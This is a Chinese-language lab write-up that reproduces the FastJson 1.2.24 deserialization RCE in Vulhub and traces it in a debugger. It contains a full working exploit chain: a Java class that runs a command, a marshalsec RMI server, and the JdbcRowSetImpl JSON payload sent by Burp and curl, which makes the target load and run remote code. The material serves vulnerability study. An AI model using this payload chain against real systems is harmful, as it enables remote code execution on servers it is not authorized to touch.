FastJson_1.2.24 反序列化漏洞复现+解析

robots

 

概述:本文从复现与调试分析两个方向简述了此漏洞,逐步跟踪漏洞执行流程。
漏洞的复现与调试分析采用了两套环境
复现:Windows+WSL_Ubuntu18.04+Vulhub
调试分析:Windows+IDEA+WSL_Ubuntu18.04

漏洞复现

使用VulHub-Docker 环境

采用 VulHub 中的FastJson 1.2.24-RCE 集成式Docker环境

此处需要用到一些其他知识:

VulHub 下载命令:

  • GitHub:git clone https://github.com/vulhub/vulhub.git
  • Gitee:git clone https://gitee.com/Plastilina/vulhub.git

下载完成后进入相关漏洞环境目录
此处为:/vulhub/fastjson/1.2.24-rce
目录下具有docker-compose.yml文件,为docker compose的配置文件,通过此文件构建一个具有FastJson 1.2.24-RCE漏洞的Docker容器
构建命令:docker-compose build
启动命令:docker-compose up -d
停止命令:docker-compose down
进入docker容器命令:

  • 使用docker ps获取对应容器的CONTAINER ID
  • 进入docker容器
    docker exec -it <CONTAINER ID> /bin/bash

检测是否正常使用:在本机运行curl http://127.0.0.1:8090
出现下图信息,表示正常运行:

构建恶意访问请求Payload

注意:此文件构建在另一主机上

此处需要使用到的其他知识:

创建TouchFile.java文件
拷贝如下代码

// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/success"};
            # Windows
            # String[] commands = {"notepad.exe"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

执行编译命令,生成class文件
javac TouchFile.java

使用python 创建简易文件服务器

注意:此文件服务器不与目标机同一机器上

命令行模式下cd到构建了恶意payload文件目录下
执行命令:python -m http.server [port]

例:python -m http.server 1111
出现下图所示表示成功:

此时在目标主机应该可以访问到此目录下的文件
在目标主机执行命令
curl http://<存放了payload主机的IP>:1111

返回的数据中应有如下类似数据

使用marshalsec 创建恶意RMI服务

注意:此RMI服务不在目标主机上,在搭建了文件服务器的主机上。
(当然,它也可以在其他机器中,只要各个机器可以互相访问)

RMI: Remote Method Invocation,远程方法调用。RMI服务器类似以前的电话转接员,用于转接服务器的特定请求。

此处需要用到一些其他知识:

下载marshalsec
Github:git clone https://github.com/mbechler/marshalsec.git
Gitee:git clone https://gitee.com/Plastilina/marshalsec.git

下载完成后进入marshalsec目录,其中有一个pom.xml文件,这是一个maven的项目构建文件

使用maven构建项目:mvn compile
构建完成后,在该目录下会有一个target目录,内含构建好的jar包
我们需要使用的为marshalsec-0.0.3-SNAPSHOT-all.jar

也可以直接下载编译完成的jar包
链接:Gitee: git clone https://gitee.com/Plastilina/marshalsec-jar.git

然后进入jar包所在文件执行命令:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer <"文件服务器地址:端口/TouchFile"> <监听端口>

例:java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.192.113:8000" 9999

攻击

注:下列操作皆在恶意主机中执行。

启动BurpSuite,创建一个Repeader,host、端口指向目标机,当然也可以直接使用Curl
拷贝如下代码:

# BurpSuite
POST / HTTP/1.1
Host: 目标机器:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 160

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://恶意主机IP:9999/TouchFile",
        "autoCommit":true
    }
}

# Curl
curl <目标主机IP>:<端口>/user -H "Content-Type:application/json" -d '{"b":{"@type":"com.sn.rowset.JdbcRowSetImpl","dataSourceName":"rmi://<文件服务器ip>:<端口>/TouchFile","autoCommit":true}}'

发送请求
如果成功将有如下表现

  1. 文件服务器将出现如下记录。这是来自目标服务器的访问(RMI将你的数据信息告诉了目标服务器)

    如果此处未出现任何记录,请检查目标主机与恶意主机是否可以互相ping通,其次请检查,RMI服务是否注册绑定文件服务器(注意在绑定时,填写的恶意主机IP不能是本地回环地址,这是要发送到目标主机的数据)
  2. 如果RMI服务出现如下记录。这是来自目标服务器的访问,他将告诉目标主机去哪里获取它想要的文件数据。

    如果此处未出现任何记录,请检查目标主机与恶意主机之间是否可以互相访问(ping)。其次检查请求包dataSourceName字段是否填写正确。
  3. 目标docker容器执了命令,这里是在tmp目录下创建了success文件

 

漏洞分析

IDEA构建调试环境

为了方便分析调试和追踪恶意数据,便不使用vulhub集成环境了。
代码链接:Link
JDK版本:8u102,默认开启com.sun.jndi.rmi.object.trustURLCodebase

调试执行

  1. 调试启动服务端
    使用IDEA调试启动服务端,指定监听端口可在src/main/resources/application.properties目录下修改。
  2. 构建payload触发漏洞
    使用curl发送payload
    curl <服务端ip>:<端口号>/user -H "Content-Type:application/json" -d '{"b":{"@type":"com.sn.rowset.JdbcRowSetImpl","dataSourceName":"rmi://<恶意文件服务器主机ip>:<端口号>/TouchFile","autoCommit":true}}'

漏洞分析

观察异常堆栈

当恶意代码执行完毕后,由于后续的状态的校验没有通过,会触发异常,返回调用堆栈。(请启用断点中的异常断点)

截取主要部分
整个堆栈大致可以分为两部分

  1. 1-7行,为JdbcRowSetImpl中反射调用利用链流程。
  2. 8-末,为FastJson中的反序列化处理流程。
java.sql.SQLException: JdbcRowSet (连接) JNDI 无法连接
        at com.sun.rowset.JdbcRowSetImpl.connect(Unknown Source) ~[na:1.8.0_102]
        at com.sun.rowset.JdbcRowSetImpl.setAutoCommit(Unknown Source) ~[na:1.8.0_102]
        at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) ~[na:1.8.0_102]
        at sun.reflect.NativeMethodAccessorImpl.invoke(Unknown Source) ~[na:1.8.0_102]
        at sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source) ~[na:1.8.0_102]
        at java.lang.reflect.Method.invoke(Unknown Source) ~[na:1.8.0_102]
        at com.alibaba.fastjson.parser.deserializer.FieldDeserializer.setValue(FieldDeserializer.java:96) ~[fastjson-1.2.24.jar!/:na]
        at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:593) ~[fastjson-1.2.24.jar!/:na]
        at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseRest(JavaBeanDeserializer.java:922) ~[fastjson-1.2.24.jar!/:na]
        at com.alibaba.fastjson.parser.deserializer.FastjsonASMDeserializer_2_JdbcRowSetImpl.deserialze(Unknown Source) ~[na:na]
        at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:184) ~[fastjson-1.2.24.jar!/:na]
        at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:368) ~[fastjson-1.2.24.jar!/:na]
        at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1327) ~[fastjson-1.2.24.jar!/:na]
        at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1293) ~[fastjson-1.2.24.jar!/:na]
        at com.alibaba.fastjson.parser.DefaultJSONParser.parseExtra(DefaultJSONParser.java:1490) ~[fastjson-1.2.24.jar!/:na]
        at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseField(JavaBeanDeserializer.java:766) ~[fastjson-1.2.24.jar!/:na]
        at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:600) ~[fastjson-1.2.24.jar!/:na]
        at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseRest(JavaBeanDeserializer.java:922) ~[fastjson-1.2.24.jar!/:na]
        at com.alibaba.fastjson.parser.deserializer.FastjsonASMDeserializer_1_User.deserialze(Unknown Source) ~[na:na]
        at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:184) ~[fastjson-1.2.24.jar!/:na]
        at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:639) ~[fastjson-1.2.24.jar!/:na]
        at com.alibaba.fastjson.JSON.parseObject(JSON.java:339) ~[fastjson-1.2.24.jar!/:na]
        at com.alibaba.fastjson.JSON.parseObject(JSON.java:307) ~[fastjson-1.2.24.jar!/:na]
        at com.alibaba.fastjson.JSON.parseObject(JSON.java:270) ~[fastjson-1.2.24.jar!/:na]
        at com.alibaba.fastjson.JSON.parseObject(JSON.java:370) ~[fastjson-1.2.24.jar!/:na]
        at com.alibaba.fastjson.JSON.parseObject(JSON.java:452) ~[fastjson-1.2.24.jar!/:na]

流程跟踪

针对JdbcRowSetImpl中反射调用利用链流程跟踪。

Method.invoke处设置断点,发送Payload触发断点。
可以看见setAutoCommit方法被调用了,这也就是Payload中设置AutoCommit:false的原因(其实true/false无所谓,只是为了触发反射调用。)

随后进入setAutoCommit源码,发现调用了connect,继续跟进。

跟进后发现了JNDI初始化流程,而这里的getDataSourceName,返回的便是我们PayloadDataSouceName
lookup中的参数可控,就和exec参数可控一样,具有很高的危险性。
至此,通过RMI协议加载并实例化远程类,触发构造方法、静态方法等等,达到了攻击的目的。

针对FastJson中的反序列化处理流程跟踪。

JSON.parseObject
JSON.parseObject主要做了这么几件事

  • 将输入的byte字节数组转为String
  • 创建并初始化DefaultJSONParer解析器
  • 使用解析器解析输入流

DefaultJSONParser.parseObject
JSON.parseObject主要做了这么几件事

  • 创建User类的序列化器
  • 使用序列化器反序列化

JavaBeanDeserializer.deserialze
这里的JavaBeanDeserializer.deserialze对应着上面的序列化器
采用了JAVAASM技术动态的生成了类,并使用其创建了序列化器。
其主要做了一下几件事

  • 遍历JSON字符串,查看是否有对应的字段,有则填充
  • 当并未在字符串中扫描到对应的字段时,流程会走向JavaBeanDeserializer.parseField

JavaBeanDeserializer.parseField
JavaBeanDeserializer.parseField内会做如下几件事

  • 调用smartMatch,尝试从已有的FieldDeserializers中匹配字段反序列化器

  • 当没有匹配到对应的反序列化器时,流程走向DefaultJSONParser.parseExtra
    parseExtra内会匹配extraTypeProviders,匹配失败的话流程走向DefaultJSONParser.parse

DefaultJSONParser.parse
DefaultJSONParser.parse内会做如下几件事

  • 根据lexer选择执行流程,lexer在最开始初始化DefaultJSONParer内完成。
    这里的LBRACE对应着字符{。然后调用DefaultJSONParer.parseObject一个重载再次解析。

    DefaultJSONParer.parseObject
    重点来了,流程如下

  1. 解析JSON格式的payload,扫描到@type字段后,使用类加载器加载对应的类JdbcRowSetImpl
  2. 获取JdbcRowSetImpl的序列化器进行反序列化
  3. 在反序列化时,通过反射调用触发漏洞。

 

漏洞总结

关于反序列系列的漏洞,我们通常关注的两个点:

  • 反序列化链
  • 反序列化链的利用

如前边所展现的com.sn.rowset.JdbcRowSetImpl便是一条反序列化链,通过设置dataSourceNameautoCommit属性,达到加载恶意类文件目的。
类似的利用链还有com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

而接下来的FastJson一系列的调用,便是对反序列化的链的一个利用。
可以发现,在首次反序列化失败后,流程会扫描传入的JSON字符串,并根据@type字段的值进行指定类型的构造,这也是此次漏洞主要的点。

FastJson更高版本上便是增加了对@type类型进行了一系列的检查过滤。

参考

fastjson历史漏洞研究(一)
基于Java反序列化RCE – 搞懂RMI、JRMP、JNDI
Fastjson 流程分析及 RCE 分析

(完)